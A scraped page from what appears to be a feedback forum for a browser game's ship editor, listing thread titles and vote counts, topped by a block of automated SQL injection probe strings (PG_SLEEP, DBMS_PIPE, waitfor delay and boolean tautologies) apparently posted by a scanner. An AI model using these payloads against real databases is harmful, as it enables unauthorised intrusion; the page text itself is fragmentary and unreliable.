  1-1)) OR 682=(SELECT 682 FROM PG_SLEEP(15))--

• dwUQQUrL

  1LavgSL9q' OR 802=(SELECT 802 FROM PG_SLEEP(15))--

• dwUQQUrL

  1gDmSMpzs') OR 866=(SELECT 866 FROM PG_SLEEP(15))--

• dwUQQUrL

  1LZwQrj2C')) OR 612=(SELECT 612 FROM PG_SLEEP(15))--

• dwUQQUrL

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• dwUQQUrL

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• dwUQQUrL

  1

• dwUQQUrL

  1'"

• dwUQQUrL

  @@SzsZo

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrLnjUKxqTR

  1

• dwUQQUrL

  1

• -1 OR 2+444-444-1=0+0+0+1 --

  1

• -1 OR 2+64-64-1=0+0+0+1

  1

• -1' OR 2+700-700-1=0+0+0+1 --

  1

• -1' OR 2+758-758-1=0+0+0+1 or 'EicdgK7z'='

  1

• -1" OR 2+856-856-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• dwUQQUrL-1 waitfor delay '0:0:15' --

  1

• dwUQQUrLkfC780Fd'; waitfor delay '0:0:15' --

  1

• dwUQQUrL

  1

• dwUQQUrL'"

  1

• @@nmRJt

  1

• dwUQQUrL

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 155 months ago
  Unvote

  8109 agree

• Hack Protection
  By Stealthkid - 147 months ago
  Unvote

  2895 agree

• Add to favorites
  By Anonymous - 158 months ago
  Unvote

  835 agree

• editro
  By critic - 158 months ago
  Unvote

  808 agree

• Missiles as an Third Weapon
  By Ram - 154 months ago
  Unvote

  793 agree

• Youtube B-wing achievement
  By chuck norris - 156 months ago
  Unvote

  788 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 114 months ago
  Unvote

  744 agree

• Change Name?
  By Anonymous - 158 months ago
  Unvote

  742 agree

• Mistaken Website Bug
  By CrazyDeathling - 156 months ago
  Unvote

  702 agree

• Slide ship in on start
  By Kickass guy - 158 months ago
  Unvote

  700 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 153 months ago
  Unvote

  689 agree

• Rank list & Leaderboards
  By StoleYourFood - 153 months ago
  Unvote

  679 agree

• It doesn't work!
  By the destructor - 157 months ago
  Unvote

  672 agree

• What browsers are supported?
  By Jack - 154 months ago
  Unvote

  664 agree

• Awesome
  By Anonymous - 150 months ago
  Unvote

  640 agree

• Two major glitches
  By BeyPokéDig - 157 months ago
  Unvote

  627 agree

• Try Me does not work
  By Tim - 158 months ago
  Unvote

  626 agree

• Save
  By DevilishDB - 156 months ago
  Unvote

  616 agree

• battle
  By alexof - 155 months ago
  Unvote

  615 agree

• Undo button
  By wombat - 155 months ago
  Unvote

  613 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 151 months ago
  Unvote

  605 agree

• achievements
  By Lee - 157 months ago
  Unvote

  602 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 157 months ago
  Unvote

  601 agree

• how do i draw the outline
  By kickassisdeboss - 157 months ago
  Unvote

  599 agree

• omfg
  By Russellmichael13 - 156 months ago
  Unvote

  595 agree

• Pen tool
  By Cblackdragon - 152 months ago
  Unvote

  590 agree

• White labeling the app?
  By Peter.dibart - 153 months ago
  Unvote

  565 agree

• You guys should have a symmetrical mode
  By Idrees - 157 months ago
  Unvote

  559 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 157 months ago
  Unvote

  558 agree

• Enemies
  By Agallup16 - 157 months ago
  Unvote

  545 agree

• Mirrored editing
  By wombat - 155 months ago
  Unvote

  541 agree

• need some advice
  By Hao - 155 months ago
  Unvote

  533 agree

• Designer
  By Anonymous - 158 months ago
  Unvote

  531 agree

• Rankings
  By heyo - 157 months ago
  Unvote

  530 agree

• Pro!!
  By Jtbui20 - 156 months ago
  Unvote

  526 agree

• Benefits from improving ranks
  By hurrtz - 153 months ago
  Unvote

  526 agree

• Button
  By Cottonball - 156 months ago
  Unvote

  520 agree

• Forums
  By BeyPokéDig - 157 months ago
  Unvote

  518 agree

• help
  By Russellmichael13 - 156 months ago
  Unvote

  513 agree

• android app
  By Barissenkal - 149 months ago
  Unvote

  511 agree

• Undo Button
  By Cblackdragon - 152 months ago
  Unvote

  505 agree

• Extra weapons
  By MassMurdererOver9000 - 152 months ago
  Unvote

  503 agree

• 1 agrees
  By BeyPokéDig - 157 months ago
  Unvote

  499 agree

• I am using this on my site
  By Idrees - 157 months ago
  Unvote

  498 agree

• Image for ship
  By wombat - 155 months ago
  Unvote

  492 agree

• 0xp till| Only GA.
  By StoleYourFood - 153 months ago
  Unvote

  492 agree

• Question
  By Kickin Ass - 157 months ago
  Unvote

  478 agree

• how come the editor is so hard to use
  By Rcasassin - 154 months ago
  Unvote

  471 agree

• You guys need an undo button
  By Idrees - 157 months ago
  Unvote

  470 agree

• page moving up/down while controling the ship?
  By Tommy - 157 months ago
  Unvote

  448 agree